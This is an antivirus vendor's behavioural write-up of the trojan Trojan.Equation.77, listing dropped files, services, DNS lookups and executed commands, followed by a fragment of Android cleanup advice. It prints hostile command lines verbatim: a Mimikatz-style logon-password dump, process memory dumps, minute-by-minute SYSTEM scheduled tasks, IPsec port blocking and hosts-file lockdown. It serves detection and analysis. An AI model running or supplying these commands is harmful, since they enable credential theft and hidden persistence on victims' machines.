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Trojan.Equation.77

Added to the Dr.Web virus database: 2017-06-09

Virus description added:

Technical Information

To ensure autorun and distribution
Creates or modifies the following files
  • %WINDIR%\tasks\qviiznifj.job
  • %WINDIR%\tasks\rqzutncmc.job
  • %WINDIR%\tasks\neunqplvn.job
Creates the following services
  • [<HKLM>\System\CurrentControlSet\Services\bettcqpnk] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\bettcqpnk] 'ImagePath' = '%WINDIR%\bemlnbnq\bjunugn.exe'
  • [<HKLM>\System\CurrentControlSet\Services\PolicyAgent] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\npf] 'ImagePath' = 'system32\drivers\npf.sys'
  • [<HKLM>\SYSTEM\CurrentControlSet\Services\NPF] 'Start' = '00000002'
Malicious functions
Executes the following
  • '<SYSTEM32>\net.exe' stop "Boundary Meter"
  • '<SYSTEM32>\net.exe' stop "TrueSight Meter"
  • '<SYSTEM32>\net.exe' stop npf
Modifies file system
Creates the following files
  • %WINDIR%\bemlnbnq\bjunugn.exe
  • %WINDIR%\negfcnmzt\unattendgc\specials\zlib1.dll
  • %WINDIR%\negfcnmzt\unattendgc\specials\svschost.exe
  • %WINDIR%\negfcnmzt\unattendgc\specials\spoolsrv.exe
  • %WINDIR%\negfcnmzt\unattendgc\specials\vimpcsvc.exe
  • %WINDIR%\negfcnmzt\unattendgc\specials\docmicfg.exe
  • %WINDIR%\negfcnmzt\unattendgc\specials\schoedcl.exe
  • %WINDIR%\negfcnmzt\unattendgc\svschost.xml
  • %WINDIR%\negfcnmzt\unattendgc\spoolsrv.xml
  • %WINDIR%\negfcnmzt\unattendgc\vimpcsvc.xml
  • %WINDIR%\negfcnmzt\unattendgc\docmicfg.xml
  • %WINDIR%\negfcnmzt\unattendgc\schoedcl.xml
  • %WINDIR%\negfcnmzt\unattendgc\specials\svschost.xml
  • %WINDIR%\negfcnmzt\unattendgc\specials\spoolsrv.xml
  • %WINDIR%\negfcnmzt\unattendgc\specials\vimpcsvc.xml
  • %WINDIR%\negfcnmzt\unattendgc\specials\docmicfg.xml
  • %WINDIR%\negfcnmzt\unattendgc\specials\schoedcl.xml
  • %WINDIR%\bemlnbnq\svschost.xml
  • %WINDIR%\temp\vqihmicrq\config.json
  • %WINDIR%\temp\vqihmicrq\ezigzs.exe
  • %WINDIR%\ime\bjunugn.exe
  • %WINDIR%\negfcnmzt\upbdrjv\swrpwe.exe
  • %WINDIR%\negfcnmzt\corporate\mimilib.dll
  • %WINDIR%\negfcnmzt\corporate\mimidrv.sys
  • %WINDIR%\negfcnmzt\unattendgc\appcapture32.dll
  • %WINDIR%\negfcnmzt\corporate\vfshost.exe
  • %WINDIR%\negfcnmzt\unattendgc\appcapture64.dll
  • %WINDIR%\negfcnmzt\unattendgc\shellcode.ini
  • %WINDIR%\bemlnbnq\schoedcl.xml
  • %WINDIR%\bemlnbnq\docmicfg.xml
  • %WINDIR%\bemlnbnq\vimpcsvc.xml
  • %WINDIR%\bemlnbnq\spoolsrv.xml
  • %WINDIR%\temp\negfcnmzt\zypivviqn.exe
  • %WINDIR%\negfcnmzt\unattendgc\specials\xdvl-0.dll
  • %WINDIR%\negfcnmzt\unattendgc\specials\ucl.dll
  • %WINDIR%\negfcnmzt\unattendgc\specials\tucl-1.dll
  • %WINDIR%\negfcnmzt\fytwniveh\wpcap.exe
  • %WINDIR%\temp\nsb2.tmp
  • %WINDIR%\temp\nsb3.tmp\options.ini
  • %WINDIR%\temp\nsb3.tmp\final.ini
  • %WINDIR%\temp\nsb3.tmp\system.dll
  • %WINDIR%\temp\nsb3.tmp\nsexec.dll
  • %WINDIR%\temp\nsb3.tmp\ns4.tmp
  • %WINDIR%\temp\nsb3.tmp\ns5.tmp
  • %WINDIR%\temp\nsb3.tmp\ns6.tmp
  • <SYSTEM32>\pthreadvc.dll
  • <SYSTEM32>\wpcap.dll
  • <SYSTEM32>\packet.dll
  • %ProgramFiles%\winpcap\rpcapd.exe
  • %ProgramFiles%\winpcap\license
  • %ProgramFiles%\winpcap\uninstall.exe
  • <DRIVERS>\npf.sys
  • %WINDIR%\temp\nsb3.tmp\ns7.tmp
  • %WINDIR%\negfcnmzt\unattendgc\specials\trch-1.dll
  • %WINDIR%\negfcnmzt\unattendgc\specials\tibe-2.dll
  • %WINDIR%\negfcnmzt\unattendgc\specials\ssleay32.dll
  • %WINDIR%\negfcnmzt\unattendgc\specials\posh-0.dll
  • %WINDIR%\negfcnmzt\unattendgc\specials\libxml2.dll
  • %WINDIR%\negfcnmzt\unattendgc\specials\libeay32.dll
  • %WINDIR%\negfcnmzt\unattendgc\specials\crli-0.dll
  • %WINDIR%\negfcnmzt\unattendgc\specials\exma-1.dll
  • %WINDIR%\negfcnmzt\unattendgc\specials\coli-0.dll
  • %WINDIR%\negfcnmzt\unattendgc\specials\cnli-1.dll
  • %WINDIR%\negfcnmzt\fytwniveh\ehsbqbtnv.exe
  • %WINDIR%\negfcnmzt\fytwniveh\wpcap.dll
  • %WINDIR%\negfcnmzt\fytwniveh\packet.dll
  • %WINDIR%\negfcnmzt\fytwniveh\zetkfignj.exe
  • %WINDIR%\negfcnmzt\unattendgc\specials\trfo-2.dll
  • %WINDIR%\negfcnmzt\corporate\log.txt
Sets the 'hidden' attribute to the following files
  • %WINDIR%\bemlnbnq\svschost.xml
  • %WINDIR%\bemlnbnq\spoolsrv.xml
  • %WINDIR%\bemlnbnq\vimpcsvc.xml
  • %WINDIR%\bemlnbnq\docmicfg.xml
  • %WINDIR%\bemlnbnq\schoedcl.xml
Deletes the following files
  • %WINDIR%\temp\nsb3.tmp\ns4.tmp
  • %WINDIR%\temp\nsb3.tmp\ns5.tmp
  • %WINDIR%\temp\nsb3.tmp\ns6.tmp
  • %WINDIR%\temp\nsb3.tmp\ns7.tmp
  • %WINDIR%\temp\nsb3.tmp\final.ini
  • %WINDIR%\temp\nsb3.tmp\nsexec.dll
  • %WINDIR%\temp\nsb3.tmp\options.ini
  • %WINDIR%\temp\nsb3.tmp\system.dll
Modifies the HOSTS file.
Moves itself
  • from <Full path to file> to %TEMP%\977435\...\temporaryfile
Network activity
UDP
  • DNS ASK ui#.#ognoob.se
  • DNS ASK ui#.###oherohero.info
  • DNS ASK yx#.#ognoob.se
  • DNS ASK 20####.ip138.com
Miscellaneous
Searches for the following windows
  • ClassName: '' WindowName: 'ehsbqbtnv.exe'
  • ClassName: '' WindowName: 'zetkfignj.exe'
  • ClassName: '' WindowName: 'swrpwe.exe'
  • ClassName: '' WindowName: 'spoolsrv.exe'
  • ClassName: '' WindowName: 'svschost.exe'
  • ClassName: '' WindowName: 'scvhost.exe'
  • ClassName: '' WindowName: 'wmic.exe'
  • ClassName: '' WindowName: 'vfshost.exe'
  • ClassName: '' WindowName: 'vimpcsvc.exe'
  • ClassName: '' WindowName: 'docmicfg.exe'
  • ClassName: '' WindowName: 'schoedcl.exe'
Creates and executes the following
  • '%WINDIR%\bemlnbnq\bjunugn.exe'
  • '%WINDIR%\temp\negfcnmzt\zypivviqn.exe' -accepteula -mp 1776 %WINDIR%\TEMP\negfcnmzt\1776.dmp
  • '%WINDIR%\temp\vqihmicrq\ezigzs.exe'
  • '%WINDIR%\negfcnmzt\corporate\vfshost.exe' privilege::debug sekurlsa::logonpasswords exit
  • '%WINDIR%\temp\nsb3.tmp\ns6.tmp' net stop npf
  • '%WINDIR%\temp\nsb3.tmp\ns7.tmp' net start npf
  • '%WINDIR%\temp\nsb3.tmp\ns4.tmp' net stop "Boundary Meter"
  • '%WINDIR%\temp\negfcnmzt\zypivviqn.exe' -accepteula -mp 1460 %WINDIR%\TEMP\negfcnmzt\1460.dmp
  • '%WINDIR%\temp\nsb3.tmp\ns5.tmp' net stop "TrueSight Meter"
  • '%WINDIR%\negfcnmzt\fytwniveh\wpcap.exe' /S
  • '<SYSTEM32>\cmd.exe' /c echo Y|schtasks /create /sc minute /mo 1 /tn "qviiznifj" /ru system /tr "cmd /c echo Y|cacls %WINDIR%\TEMP\vqihmicrq\ezigzs.exe /p everyone:F"' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c ping 127.0.0.1 -n 5 & Start %WINDIR%\bemlnbnq\bjunugn.exe' (with hidden window)
  • '<SYSTEM32>\netsh.exe' ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP' (with hidden window)
  • '<SYSTEM32>\netsh.exe' ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c echo Y|schtasks /create /sc minute /mo 1 /tn "neunqplvn" /ru system /tr "cmd /c echo Y|cacls %WINDIR%\bemlnbnq\bjunugn.exe /p everyone:F"' (with hidden window)
  • '<SYSTEM32>\netsh.exe' ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList' (with hidden window)
  • '<SYSTEM32>\netsh.exe' ipsec static set policy name=Bastards assign=y' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c echo Y|schtasks /create /sc minute /mo 1 /tn "rqzutncmc" /ru system /tr "cmd /c %WINDIR%\ime\bjunugn.exe"' (with hidden window)
  • '%WINDIR%\temp\negfcnmzt\zypivviqn.exe' -accepteula -mp 1460 %WINDIR%\TEMP\negfcnmzt\1460.dmp' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c net start npf' (with hidden window)
  • '%WINDIR%\temp\nsb3.tmp\ns4.tmp' net stop "Boundary Meter"' (with hidden window)
  • '%WINDIR%\temp\negfcnmzt\zypivviqn.exe' -accepteula -mp 1776 %WINDIR%\TEMP\negfcnmzt\1776.dmp' (with hidden window)
  • '%WINDIR%\temp\nsb3.tmp\ns6.tmp' net stop npf' (with hidden window)
  • '%WINDIR%\temp\nsb3.tmp\ns5.tmp' net stop "TrueSight Meter"' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c %WINDIR%\negfcnmzt\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> %WINDIR%\negfcnmzt\Corporate\log.txt' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c %WINDIR%\negfcnmzt\fytwniveh\wpcap.exe /S' (with hidden window)
  • '<SYSTEM32>\netsh.exe' ipsec static add filteraction name=BastardsList action=block' (with hidden window)
  • '<SYSTEM32>\netsh.exe' ipsec static add policy name=Bastards description=FuckingBastards' (with hidden window)
  • '<SYSTEM32>\netsh.exe' ipsec static del all' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c echo Y|cacls <DRIVERS>\etc\hosts /T /D users & echo Y|cacls <DRIVERS>\etc\hosts /T /D administrators & echo Y|cacls <DRIVERS>\etc\hosts /T /D SYSTEM' (with hidden window)
  • '%WINDIR%\temp\nsb3.tmp\ns7.tmp' net start npf' (with hidden window)
  • '%WINDIR%\temp\vqihmicrq\ezigzs.exe' ' (with hidden window)
  • '<SYSTEM32>\netsh.exe' ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP' (with hidden window)
Executes the following
  • '<SYSTEM32>\cmd.exe' /c ping 127.0.0.1 -n 5 & Start %WINDIR%\bemlnbnq\bjunugn.exe
  • '<SYSTEM32>\netsh.exe' ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  • '<SYSTEM32>\netsh.exe' ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  • '<SYSTEM32>\schtasks.exe' /create /sc minute /mo 1 /tn "rqzutncmc" /ru system /tr "cmd /c %WINDIR%\ime\bjunugn.exe"
  • '<SYSTEM32>\schtasks.exe' /create /sc minute /mo 1 /tn "neunqplvn" /ru system /tr "cmd /c echo Y|cacls %WINDIR%\bemlnbnq\bjunugn.exe /p everyone:F"
  • '<SYSTEM32>\schtasks.exe' /create /sc minute /mo 1 /tn "qviiznifj" /ru system /tr "cmd /c echo Y|cacls %WINDIR%\TEMP\vqihmicrq\ezigzs.exe /p everyone:F"
  • '<SYSTEM32>\netsh.exe' ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  • '<SYSTEM32>\cmd.exe' /c echo Y|schtasks /create /sc minute /mo 1 /tn "neunqplvn" /ru system /tr "cmd /c echo Y|cacls %WINDIR%\bemlnbnq\bjunugn.exe /p everyone:F"
  • '<SYSTEM32>\cmd.exe' /c echo Y|schtasks /create /sc minute /mo 1 /tn "qviiznifj" /ru system /tr "cmd /c echo Y|cacls %WINDIR%\TEMP\vqihmicrq\ezigzs.exe /p everyone:F"
  • '<SYSTEM32>\cmd.exe' /c echo Y|schtasks /create /sc minute /mo 1 /tn "rqzutncmc" /ru system /tr "cmd /c %WINDIR%\ime\bjunugn.exe"
  • '<SYSTEM32>\cmd.exe' /c %WINDIR%\negfcnmzt\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> %WINDIR%\negfcnmzt\Corporate\log.txt
  • '<SYSTEM32>\cmd.exe' /c net start npf
  • '<SYSTEM32>\net1.exe' start npf
  • '<SYSTEM32>\netsh.exe' ipsec static set policy name=Bastards assign=y
  • '<SYSTEM32>\net.exe' start npf
  • '<SYSTEM32>\net1.exe' stop "TrueSight Meter"
  • '<SYSTEM32>\net1.exe' stop "Boundary Meter"
  • '<SYSTEM32>\cmd.exe' /c %WINDIR%\negfcnmzt\fytwniveh\wpcap.exe /S
  • '<SYSTEM32>\netsh.exe' ipsec static add filteraction name=BastardsList action=block
  • '<SYSTEM32>\netsh.exe' ipsec static add policy name=Bastards description=FuckingBastards
  • '<SYSTEM32>\netsh.exe' ipsec static del all
  • '<SYSTEM32>\cacls.exe' <DRIVERS>\etc\hosts /T /D SYSTEM
  • '<SYSTEM32>\cacls.exe' <DRIVERS>\etc\hosts /T /D administrators
  • '<SYSTEM32>\cacls.exe' <DRIVERS>\etc\hosts /T /D users
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo Y"
  • '<SYSTEM32>\cmd.exe' /c echo Y|cacls <DRIVERS>\etc\hosts /T /D users & echo Y|cacls <DRIVERS>\etc\hosts /T /D administrators & echo Y|cacls <DRIVERS>\etc\hosts /T /D SYSTEM
  • '<SYSTEM32>\ping.exe' 127.0.0.1 -n 5
  • '<SYSTEM32>\net1.exe' stop npf
  • '<SYSTEM32>\netsh.exe' ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP

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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
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